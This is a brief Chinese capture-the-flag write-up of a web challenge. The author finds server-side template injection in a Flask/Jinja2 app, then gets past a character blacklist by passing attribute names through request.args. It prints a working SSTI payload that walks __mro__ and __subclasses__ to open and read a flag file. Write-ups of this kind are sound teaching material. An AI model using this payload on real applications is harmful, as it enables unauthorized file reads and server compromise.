打开页面,看见一张图片,点击Home、Login、Register都没用:
看看源代码,在Register.php中发现一点提示:
但没什么思路,去网上看了看WP,觉得这道题的提示就很扯,那张图片提示了是SSTI?!就因为图片是蛇吞象意味着python干掉php?!想了想,是我还不够头脑风暴,那就按着这个思路往下做吧,简单测试一下:
payload:{{''.__class__.__mro__[2].__subclasses__()}},发现不行,也许是过滤了某些字符吧:
但没有过滤request,request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。所以可以利用request.args绕过输入黑名单,进行沙箱逃逸,payload:
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
拿到flag:
总结:
SSTI
request.args绕过



